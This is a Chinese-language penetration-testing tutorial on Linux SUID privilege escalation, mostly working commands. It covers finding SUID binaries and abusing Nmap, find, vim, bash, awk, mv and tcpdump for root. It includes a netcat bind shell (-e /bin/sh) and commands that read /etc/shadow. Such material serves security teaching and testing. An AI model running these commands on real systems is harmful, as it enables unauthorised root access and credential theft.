NmapVimfindBashMoreLessNanocp以下命令可以發現系統上運行的所有SUID可執行文件。具體來說,命令將嘗試查找具有root權限的SUID的文件。find / -user root -perm -4000 -print 2>/dev/nullfind / -perm -u=s -type f 2>/dev/nullfind / -user root -perm -4000 -exec ls -ldb {} \;發現SUID可執行文件
以上所有二進位文件都將以root用戶權限執行,因為它們的權限中包含"s",並且對應的是root權限。ls -l /usr/bin/nmap-rwsr-xr-x 1 root root 780676 2008-04-08 10:04 /usr/bin/nmapSUID可執行文件 - Nmap
NMAP
較舊版本的Nmap(2.02至5.21)具有交互模式,允許用戶執行shell命令。由於Nmap在使用root權限執行的二進位文件列表中,因此可以使用交互式控制臺來運行具有相同權限的shell。Nmap - 版本識別
交互模式可以通過執行Nmap參數"interactive"Nmap - 交互模式
提權至Root權限
也可以通過Metasploit模塊對Nmap的二進位文件進行權限提升。exploit/unix/local/setuid_nmap
Find如果Find命令也是以Suid權限運行的話,則將通過find執行的所有命令都會以root權限執行。touch pentestlabfind pentestlab -exec whoami \;Find命令權限提升
大部分Linux作業系統都安裝了netcat,因此也可以被利用來將權限提升至root。find pentestlab -exec netcat -lvp 5555 -e /bin/sh \;通過Find運行Netcat
連接上去就會直接獲取到一個Root權限的shell。netcat 192.168.1.189 5555idcat /etc/shadowRoot權限的shell
VIMVim是Linux環境下的一款文件編輯器。但是,如果以SUID運行的話,它會繼承root用戶的權限,因此可以讀取系統上的所有文件。Vim - Shadow文件讀取
vim.tiny:set shell=/bin/sh:shellVim - Root權限
Bash以下命令將以root權限打開一個bash shell。bash -pbash-3.2uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)
Bash - Root權限
Less
獲取到Root權限
cpmv使用mv 覆蓋 /etc/shadow 或者/etc/sudoersawkawk 'BEGIN {system("/bin/bash")}'manpython/perl/ruby/lua/etcperl
import osos.system("/bin/bash")
tcpdumpecho $'id\ncat /etc/shadow' > /tmp/.testchmod +x /tmp/.testsudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root參考資料https://pentestlab.blog/2017/09/25/suid-executables/
http://blog.csdn.net/haofeifei6/article/details/11516753
https://evi1cg.me/archives/SUID_Privilege_Escalation.html
掃描下方二維碼學習更多WEB安全知識:
專注於普及網絡安全知識。團隊已出版《Web安全攻防:滲透測試實戰指南》,《內網安全攻防:滲透測試實戰指南》,目前在編Python滲透測試,JAVA代碼審計和二進位逆向方面的書籍。 團隊公眾號定期分享關於CTF靶場、內網滲透、APT方面技術乾貨,從零開始、以實戰落地為主,致力於做一個實用的乾貨分享型公眾號。